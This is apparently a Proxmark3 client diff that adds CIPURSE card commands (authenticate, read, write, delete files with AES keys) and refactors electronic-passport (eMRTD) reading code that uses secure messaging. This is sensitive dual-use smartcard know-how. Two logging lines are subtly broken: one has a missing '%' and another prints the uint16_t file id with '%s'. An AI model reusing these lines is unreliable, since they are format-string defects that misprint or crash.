void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0("a", "apdu", "show APDU requests and responses"),
|
||||
arg_lit0("v", "verbose", "show technical data"),
|
||||
arg_int0("n", "keyid", "<dec>", "key id"),
|
||||
arg_str0("k", "key", "<hex>", "key for authenticate"),
|
||||
arg_str0("f", "file", "<hex>", "file ID"),
|
||||
arg_str0(NULL, "sreq", "<plain|mac(default)|encode>", "communication reader-PICC security level"),
|
||||
arg_str0(NULL, "sresp", "<plain|mac(default)|encode>", "communication PICC-reader security level"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
||||
|
||||
bool APDULogging = arg_get_lit(ctx, 1);
|
||||
bool verbose = arg_get_lit(ctx, 2);
|
||||
uint8_t keyId = arg_get_int_def(ctx, 3, 1);
|
||||
|
||||
CipurseChannelSecurityLevel sreq = CPSMACed;
|
||||
CipurseChannelSecurityLevel sresp = CPSMACed;
|
||||
int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp);
|
||||
if (res) {
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
|
||||
uint16_t fileId = 0x2ff7;
|
||||
|
||||
uint8_t hdata[250] = {0};
|
||||
int hdatalen = sizeof(hdata);
|
||||
CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen);
|
||||
if (hdatalen && hdatalen != 2) {
|
||||
PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only.");
|
||||
CLIParserFree(ctx);
|
||||
return PM3_EINVARG;
|
||||
}
|
||||
if (hdatalen)
|
||||
fileId = (hdata[0] << 8) + hdata[1];
|
||||
|
||||
SetAPDULogging(APDULogging);
|
||||
|
||||
CLIParserFree(ctx);
|
||||
|
||||
res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH));
|
||||
|
||||
bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose);
|
||||
if (bres == false) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "Authentication " _RED_("ERROR"));
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// set channel security levels
|
||||
CIPURSECSetActChannelSecurityLevels(sreq, sresp);
|
||||
|
||||
res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw);
|
||||
if (res != 0 || sw != 0x9000) {
|
||||
if (verbose == false)
|
||||
PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw);
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId);
|
||||
|
||||
DropField();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
bool CheckCardCipurse(void) {
|
||||
uint8_t buf[APDU_RES_LEN] = {0};
|
||||
size_t len = 0;
|
||||
uint16_t sw = 0;
|
||||
int res = CIPURSESelect(true, false, buf, sizeof(buf), &len, &sw);
|
||||
|
||||
return (res == 0 && sw == 0x9000);
|
||||
}
|
||||
|
||||
static command_t CommandTable[] = {
|
||||
{"help", CmdHelp, AlwaysAvailable, "This help."},
|
||||
{"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."},
|
||||
{"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."},
|
||||
{"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."},
|
||||
{"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."},
|
||||
{"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."},
|
||||
{"delete", CmdHFCipurseDeleteFile, IfPm3Iso14443a, "Delete file."},
|
||||
{NULL, NULL, 0, NULL}
|
||||
};
|
||||
|
||||
int CmdHFCipurse(const char *Cmd) {
|
||||
clearCommandBuffer();
|
||||
return CmdsParse(CommandTable, Cmd);
|
||||
}
|
||||
|
||||
int CmdHelp(const char *Cmd) {
|
||||
(void)Cmd; // Cmd is not used so far
|
||||
CmdsHelp(CommandTable);
|
||||
return PM3_SUCCESS;
|
||||
}
|
25
client/src/cmdhfcipurse.h
Normal file
25
client/src/cmdhfcipurse.h
Normal file
|
@ -0,0 +1,25 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// High frequency FIDO U2F and FIDO2 contactless authenticators
|
||||
//-----------------------------------------------------------------------------
|
||||
//
|
||||
// JAVA implementation here:
|
||||
//
|
||||
// https://github.com/duychuongvn/cipurse-card-core
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef CMDHFCIPURSE_H__
|
||||
#define CMDHFCIPURSE_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
int CmdHFCipurse(const char *Cmd);
|
||||
|
||||
bool CheckCardCipurse(void);
|
||||
|
||||
#endif
|
|
@ -17,7 +17,6 @@
|
|||
#include "comms.h" // clearCommandBuffer
|
||||
#include "cmdtrace.h"
|
||||
#include "crc16.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "protocols.h" // definitions of ISO14B protocol
|
||||
#include "iso14b.h"
|
||||
#include "cliparser.h" // cliparsing
|
||||
|
@ -36,6 +35,7 @@ static void set_last_known_card(iso14b_card_select_t card) {
|
|||
}
|
||||
|
||||
static int switch_off_field_cryptorf(void) {
|
||||
SetISODEPState(ISODEP_INACTIVE);
|
||||
iso14b_raw_cmd_t packet = {
|
||||
.flags = ISO14B_DISCONNECT,
|
||||
.timeout = 0,
|
||||
|
|
|
@ -16,14 +16,12 @@
|
|||
#include "cmdparser.h" // command_t
|
||||
#include "cmdtrace.h" // CmdTraceList
|
||||
#include "cliparser.h" // CLIParserContext etc
|
||||
#include "cmdhf14a.h" // ExchangeAPDU14a
|
||||
#include "protocols.h" // definitions of ISO14A/7816 protocol
|
||||
#include "emv/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/iso7816core.h" // Iso7816ExchangeEx etc
|
||||
#include "crypto/libpcrypto.h" // Hash calculation (sha1, sha256, sha512)
|
||||
#include "mifare/desfire_crypto.h" // des_encrypt/des_decrypt
|
||||
#include "des.h" // mbedtls_des_key_set_parity
|
||||
#include "cmdhf14b.h" // exchange_14b_apdu
|
||||
#include "iso14b.h" // ISO14B_CONNECT etc
|
||||
#include "crapto1/crapto1.h" // prng_successor
|
||||
#include "commonutil.h" // num_to_bytes
|
||||
#include "util_posix.h" // msclock
|
||||
|
@ -35,16 +33,16 @@
|
|||
#define EMRTD_MAX_FILE_SIZE 35000
|
||||
|
||||
// ISO7816 commands
|
||||
#define EMRTD_SELECT "A4"
|
||||
#define EMRTD_EXTERNAL_AUTHENTICATE "82"
|
||||
#define EMRTD_GET_CHALLENGE "84"
|
||||
#define EMRTD_READ_BINARY "B0"
|
||||
#define EMRTD_P1_SELECT_BY_EF "02"
|
||||
#define EMRTD_P1_SELECT_BY_NAME "04"
|
||||
#define EMRTD_P2_PROPRIETARY "0C"
|
||||
#define EMRTD_SELECT 0xA4
|
||||
#define EMRTD_EXTERNAL_AUTHENTICATE 0x82
|
||||
#define EMRTD_GET_CHALLENGE 0x84
|
||||
#define EMRTD_READ_BINARY 0xB0
|
||||
#define EMRTD_P1_SELECT_BY_EF 0x02
|
||||
#define EMRTD_P1_SELECT_BY_NAME 0x04
|
||||
#define EMRTD_P2_PROPRIETARY 0x0C
|
||||
|
||||
// App IDs
|
||||
#define EMRTD_AID_MRTD "A0000002471001"
|
||||
#define EMRTD_AID_MRTD {0xA0, 0x00, 0x00, 0x02, 0x47, 0x10, 0x01}
|
||||
|
||||
// DESKey Types
|
||||
const uint8_t KENC_type[4] = {0x00, 0x00, 0x00, 0x01};
|
||||
|
@ -85,27 +83,27 @@ typedef enum { // list must match dg_table
|
|||
|
||||
static emrtd_dg_t dg_table[] = {
|
||||
// tag dg# fileid filename desc pace eac req fast parser dumper
|
||||
{0x60, 0, "011E", "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL},
|
||||
{0x61, 1, "0101", "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL},
|
||||
{0x75, 2, "0102", "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2},
|
||||
{0x63, 3, "0103", "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL},
|
||||
{0x76, 4, "0104", "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL},
|
||||
{0x65, 5, "0105", "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5},
|
||||
{0x66, 6, "0106", "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL},
|
||||
{0x67, 7, "0107", "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7},
|
||||
{0x68, 8, "0108", "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x69, 9, "0109", "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6a, 10, "010A", "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6b, 11, "010B", "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL},
|
||||
{0x6c, 12, "010C", "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL},
|
||||
{0x6d, 13, "010D", "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6e, 14, "010E", "EF_DG14", "Security Options", false, false, false, true, NULL, NULL},
|
||||
{0x6f, 15, "010F", "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL},
|
||||
{0x70, 16, "0110", "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL},
|
||||
{0x77, 0, "011D", "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod},
|
||||
{0xff, 0, "011C", "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL},
|
||||
{0xff, 0, "011D", "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL},
|
||||
{0x00, 0, NULL, NULL, NULL, false, false, false, false, NULL, NULL}
|
||||
{0x60, 0, 0x011E, "EF_COM", "Header and Data Group Presence Information", false, false, true, true, emrtd_print_ef_com_info, NULL},
|
||||
{0x61, 1, 0x0101, "EF_DG1", "Details recorded in MRZ", false, false, true, true, emrtd_print_ef_dg1_info, NULL},
|
||||
{0x75, 2, 0x0102, "EF_DG2", "Encoded Face", false, false, true, false, NULL, emrtd_dump_ef_dg2},
|
||||
{0x63, 3, 0x0103, "EF_DG3", "Encoded Finger(s)", false, true, false, false, NULL, NULL},
|
||||
{0x76, 4, 0x0104, "EF_DG4", "Encoded Eye(s)", false, true, false, false, NULL, NULL},
|
||||
{0x65, 5, 0x0105, "EF_DG5", "Displayed Portrait", false, false, false, false, NULL, emrtd_dump_ef_dg5},
|
||||
{0x66, 6, 0x0106, "EF_DG6", "Reserved for Future Use", false, false, false, false, NULL, NULL},
|
||||
{0x67, 7, 0x0107, "EF_DG7", "Displayed Signature or Usual Mark", false, false, false, false, NULL, emrtd_dump_ef_dg7},
|
||||
{0x68, 8, 0x0108, "EF_DG8", "Data Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x69, 9, 0x0109, "EF_DG9", "Structure Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6a, 10, 0x010A, "EF_DG10", "Substance Feature(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6b, 11, 0x010B, "EF_DG11", "Additional Personal Detail(s)", false, false, false, true, emrtd_print_ef_dg11_info, NULL},
|
||||
{0x6c, 12, 0x010C, "EF_DG12", "Additional Document Detail(s)", false, false, false, true, emrtd_print_ef_dg12_info, NULL},
|
||||
{0x6d, 13, 0x010D, "EF_DG13", "Optional Detail(s)", false, false, false, true, NULL, NULL},
|
||||
{0x6e, 14, 0x010E, "EF_DG14", "Security Options", false, false, false, true, NULL, NULL},
|
||||
{0x6f, 15, 0x010F, "EF_DG15", "Active Authentication Public Key Info", false, false, false, true, NULL, NULL},
|
||||
{0x70, 16, 0x0110, "EF_DG16", "Person(s) to Notify", false, false, false, true, NULL, NULL},
|
||||
{0x77, 0, 0x011D, "EF_SOD", "Document Security Object", false, false, false, false, NULL, emrtd_dump_ef_sod},
|
||||
{0xff, 0, 0x011C, "EF_CardAccess", "PACE SecurityInfos", true, false, true, true, emrtd_print_ef_cardaccess_info, NULL},
|
||||
{0xff, 0, 0x011D, "EF_CardSecurity", "PACE SecurityInfos for Chip Authentication Mapping", true, false, false, true, NULL, NULL},
|
||||
{0x00, 0, 0, NULL, NULL, false, false, false, false, NULL, NULL}
|
||||
};
|
||||
|
||||
// https://security.stackexchange.com/questions/131241/where-do-magic-constants-for-signature-algorithms-come-from
|
||||
|
@ -166,9 +164,9 @@ static emrtd_dg_t *emrtd_tag_to_dg(uint8_t tag) {
|
|||
}
|
||||
return NULL;
|
||||
}
|
||||
static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) {
|
||||
static emrtd_dg_t *emrtd_fileid_to_dg(uint16_t file_id) {
|
||||
for (int dgi = 0; dg_table[dgi].filename != NULL; dgi++) {
|
||||
if (strcmp(dg_table[dgi].fileid, file_id) == 0) {
|
||||
if (dg_table[dgi].fileid == file_id) {
|
||||
return &dg_table[dgi];
|
||||
}
|
||||
}
|
||||
|
@ -177,57 +175,26 @@ static emrtd_dg_t *emrtd_fileid_to_dg(const char *file_id) {
|
|||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
static uint16_t get_sw(uint8_t *d, uint8_t n) {
|
||||
if (n < 2)
|
||||
return 0;
|
||||
static bool emrtd_exchange_commands(sAPDU apdu, bool include_le, uint16_t le, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen, bool activate_field, bool keep_field_on) {
|
||||
uint16_t sw;
|
||||
int res = Iso7816ExchangeEx(CC_CONTACTLESS, activate_field, keep_field_on, apdu, include_le, le, dataout, maxdataoutlen, dataoutlen, &sw);
|
||||
|
||||
n -= 2;
|
||||
return d[n] * 0x0100 + d[n + 1];
|
||||
}
|
||||
|
||||
static bool emrtd_exchange_commands(const char *cmd, uint8_t *dataout, int *dataoutlen, bool activate_field, bool keep_field_on, bool use_14b) {
|
||||
uint8_t response[PM3_CMD_DATA_SIZE];
|
||||
int resplen = 0;
|
||||
|
||||
PrintAndLogEx(DEBUG, "Sending: %s", cmd);
|
||||
|
||||
uint8_t aCMD[PM3_CMD_DATA_SIZE];
|
||||
int aCMD_n = 0;
|
||||
param_gethex_to_eol(cmd, 0, aCMD, sizeof(aCMD), &aCMD_n);
|
||||
int res;
|
||||
if (use_14b) {
|
||||
// need to add a long timeout for passports with activated anti-bruteforce measure
|
||||
res = exchange_14b_apdu(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen, 4000);
|
||||
} else {
|
||||
res = ExchangeAPDU14a(aCMD, aCMD_n, activate_field, keep_field_on, response, sizeof(response), &resplen);
|
||||
}
|
||||
if (res != PM3_SUCCESS) {
|
||||
DropField();
|
||||
return false;
|
||||
}
|
||||
|
||||
if (resplen < 2) {
|
||||
return false;
|
||||
}
|
||||
PrintAndLogEx(DEBUG, "Response: %s", sprint_hex(response, resplen));
|
||||
|
||||
// drop sw
|
||||
memcpy(dataout, &response, resplen - 2);
|
||||
*dataoutlen = (resplen - 2);
|
||||
|
||||
uint16_t sw = get_sw(response, resplen);
|
||||
if (sw != 0x9000) {
|
||||
PrintAndLogEx(DEBUG, "Command %s failed (%04x - %s).", cmd, sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
|
||||
PrintAndLogEx(DEBUG, "Command failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static int emrtd_exchange_commands_noout(const char *cmd, bool activate_field, bool keep_field_on, bool use_14b) {
|
||||
static int emrtd_exchange_commands_noout(sAPDU apdu, bool activate_field, bool keep_field_on) {
|
||||
uint8_t response[PM3_CMD_DATA_SIZE];
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
|
||||
return emrtd_exchange_commands(cmd, response, &resplen, activate_field, keep_field_on, use_14b);
|
||||
return emrtd_exchange_commands(apdu, false, 0, response, 0, &resplen, activate_field, keep_field_on);
|
||||
}
|
||||
|
||||
static char emrtd_calculate_check_digit(char *data) {
|
||||
|
@ -413,33 +380,31 @@ static void emrtd_deskey(uint8_t *seed, const uint8_t *type, int length, uint8_t
|
|||
memcpy(dataout, &key, length);
|
||||
}
|
||||
|
||||
static int emrtd_select_file(const char *select_by, const char *file_id, bool use_14b) {
|
||||
int file_id_len = strlen(file_id) / 2;
|
||||
|
||||
char cmd[50];
|
||||
sprintf(cmd, "00%s%s0C%02X%s", EMRTD_SELECT, select_by, file_id_len, file_id);
|
||||
|
||||
return emrtd_exchange_commands_noout(cmd, false, true, use_14b);
|
||||
static void _emrtd_convert_fileid(uint16_t file, uint8_t *dataout) {
|
||||
dataout[0] = file >> 8;
|
||||
dataout[1] = file & 0xFF;
|
||||
}
|
||||
|
||||
static int emrtd_get_challenge(int length, uint8_t *dataout, int *dataoutlen, bool use_14b) {
|
||||
char cmd[50];
|
||||
sprintf(cmd, "00%s0000%02X", EMRTD_GET_CHALLENGE, length);
|
||||
|
||||
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b);
|
||||
static int emrtd_select_file_by_name(uint8_t namelen, uint8_t *name) {
|
||||
return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_NAME, 0x0C, namelen, name}, false, true);
|
||||
}
|
||||
|
||||
static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, int *dataoutlen, bool use_14b) {
|
||||
char cmd[100];
|
||||
sprintf(cmd, "00%s0000%02X%s%02X", EMRTD_EXTERNAL_AUTHENTICATE, length, sprint_hex_inrow(data, length), length);
|
||||
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b);
|
||||
static int emrtd_select_file_by_ef(uint16_t file_id) {
|
||||
uint8_t data[2];
|
||||
_emrtd_convert_fileid(file_id, data);
|
||||
return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, sizeof(data), data}, false, true);
|
||||
}
|
||||
|
||||
static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) {
|
||||
char cmd[50];
|
||||
sprintf(cmd, "00%s%04X%02X", EMRTD_READ_BINARY, offset, bytes_to_read);
|
||||
static int emrtd_get_challenge(int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
|
||||
return emrtd_exchange_commands((sAPDU) {0, EMRTD_GET_CHALLENGE, 0, 0, 0, NULL}, true, length, dataout, maxdataoutlen, dataoutlen, false, true);
|
||||
}
|
||||
|
||||
return emrtd_exchange_commands(cmd, dataout, dataoutlen, false, true, use_14b);
|
||||
static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
|
||||
return emrtd_exchange_commands((sAPDU) {0, EMRTD_EXTERNAL_AUTHENTICATE, 0, 0, length, data}, true, length, dataout, maxdataoutlen, dataoutlen, false, true);
|
||||
}
|
||||
|
||||
static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
|
||||
return emrtd_exchange_commands((sAPDU) {0, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, 0, NULL}, true, bytes_to_read, dataout, maxdataoutlen, dataoutlen, false, true);
|
||||
}
|
||||
|
||||
static void emrtd_bump_ssc(uint8_t *ssc) {
|
||||
|
@ -490,27 +455,18 @@ static bool emrtd_check_cc(uint8_t *ssc, uint8_t *key, uint8_t *rapdu, int rapdu
|
|||
return memcmp(cc, rapdu + (rapdulength - 8), 8) == 0;
|
||||
}
|
||||
|
||||
static void _emrtd_convert_filename(const char *file, uint8_t *dataout) {
|
||||
char temp[3] = {0x00};
|
||||
memcpy(temp, file, 2);
|
||||
dataout[0] = (int)strtol(temp, NULL, 16);
|
||||
memcpy(temp, file + 2, 2);
|
||||
dataout[1] = (int)strtol(temp, NULL, 16);
|
||||
}
|
||||
|
||||
static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, const char *select_by, const char *file, bool use_14b) {
|
||||
static bool emrtd_secure_select_file_by_ef(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, uint16_t file) {
|
||||
uint8_t response[PM3_CMD_DATA_SIZE];
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
|
||||
// convert filename of string to bytes
|
||||
// convert fileid to bytes
|
||||
uint8_t file_id[2];
|
||||
_emrtd_convert_filename(file, file_id);
|
||||
_emrtd_convert_fileid(file, file_id);
|
||||
|
||||
uint8_t iv[8] = { 0x00 };
|
||||
char command[PM3_CMD_DATA_SIZE];
|
||||
uint8_t cmd[8];
|
||||
uint8_t data[21];
|
||||
uint8_t temp[8] = {0x0c, 0xa4, strtol(select_by, NULL, 16), 0x0c};
|
||||
uint8_t temp[8] = {0x0c, 0xa4, EMRTD_P1_SELECT_BY_EF, 0x0c};
|
||||
|
||||
int cmdlen = pad_block(temp, 4, cmd);
|
||||
int datalen = pad_block(file_id, 2, data);
|
||||
|
@ -550,18 +506,14 @@ static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc,
|
|||
memcpy(data + (datalen + 3), do8e, 10);
|
||||
PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc));
|
||||
|
||||
sprintf(command, "0C%s%s0C%02X%s00", EMRTD_SELECT, select_by, lc, sprint_hex_inrow(data, lc));
|
||||
PrintAndLogEx(DEBUG, "command: %s", command);
|
||||
|
||||
if (emrtd_exchange_commands(command, response, &resplen, false, true, use_14b) == false) {
|
||||
if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, lc, data}, true, 0, response, sizeof(response), &resplen, false, true) == false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return emrtd_check_cc(ssc, kmac, response, resplen);
|
||||
}
|
||||
|
||||
static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) {
|
||||
char command[54];
|
||||
static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
|
||||
uint8_t cmd[8];
|
||||
uint8_t data[21];
|
||||
uint8_t temp[8] = {0x0c, 0xb0};
|
||||
|
@ -603,23 +555,20 @@ static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, i
|
|||
memcpy(data + 3, do8e, 10);
|
||||
PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc));
|
||||
|
||||
sprintf(command, "0C%s%04X%02X%s00", EMRTD_READ_BINARY, offset, lc, sprint_hex_inrow(data, lc));
|
||||
PrintAndLogEx(DEBUG, "command: %s", command);
|
||||
|
||||
if (emrtd_exchange_commands(command, dataout, dataoutlen, false, true, use_14b) == false) {
|
||||
if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, lc, data}, true, 0, dataout, maxdataoutlen, dataoutlen, false, true) == false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return emrtd_check_cc(ssc, kmac, dataout, *dataoutlen);
|
||||
}
|
||||
|
||||
static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) {
|
||||
static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t *dataoutlen) {
|
||||
uint8_t response[500];
|
||||
uint8_t temp[500];
|
||||
int resplen, cutat = 0;
|
||||
size_t resplen, cutat = 0;
|
||||
uint8_t iv[8] = { 0x00 };
|
||||
|
||||
if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, &resplen, use_14b) == false) {
|
||||
if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, sizeof(response), &resplen) == false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
@ -635,20 +584,20 @@ static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint
|
|||
return true;
|
||||
}
|
||||
|
||||
static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure, bool use_14b) {
|
||||
static int emrtd_read_file(uint8_t *dataout, size_t *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure) {
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE];
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
uint8_t tempresponse[500];
|
||||
int tempresplen = 0;
|
||||
size_t tempresplen = 0;
|
||||
int toread = 4;
|
||||
int offset = 0;
|
||||
|
||||
if (use_secure) {
|
||||
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen, use_14b) == false) {
|
||||
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen) == false) {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
if (_emrtd_read_binary(offset, toread, response, &resplen, use_14b) == false) {
|
||||
if (_emrtd_read_binary(offset, toread, response, sizeof(response), &resplen) == false) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
@ -666,12 +615,12 @@ static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uin
|
|||
}
|
||||
|
||||
if (use_secure) {
|
||||
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen, use_14b) == false) {
|
||||
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen) == false) {
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
if (_emrtd_read_binary(offset, toread, tempresponse, &tempresplen, use_14b) == false) {
|
||||
if (_emrtd_read_binary(offset, toread, tempresponse, sizeof(tempresponse), &tempresplen) == false) {
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
return false;
|
||||
}
|
||||
|
@ -746,21 +695,21 @@ static bool emrtd_lds_get_data_by_tag(uint8_t *datain, size_t datainlen, uint8_t
|
|||
return false;
|
||||
}
|
||||
|
||||
static bool emrtd_select_and_read(uint8_t *dataout, int *dataoutlen, const char *file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure, bool use_14b) {
|
||||
static bool emrtd_select_and_read(uint8_t *dataout, size_t *dataoutlen, uint16_t file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure) {
|
||||
if (use_secure) {
|
||||
if (emrtd_secure_select_file(ks_enc, ks_mac, ssc, EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) {
|
||||
if (emrtd_secure_select_file_by_ef(ks_enc, ks_mac, ssc, file) == false) {
|
||||
PrintAndLogEx(ERR, "Failed to secure select %s.", file);
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) {
|
||||
PrintAndLogEx(ERR, "Failed to select %s.", file);
|
||||
if (emrtd_select_file_by_ef(file) == false) {
|
||||
PrintAndLogEx(ERR, "Failed to select %04X.", file);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) {
|
||||
PrintAndLogEx(ERR, "Failed to read %s.", file);
|
||||
if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure) == false) {
|
||||
PrintAndLogEx(ERR, "Failed to read %04X.", file);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
|
@ -878,11 +827,11 @@ static int emrtd_dump_ef_sod(uint8_t *file_contents, size_t file_length, const c
|
|||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, const char *file, const char *name, bool use_secure, bool use_14b, const char *path) {
|
||||
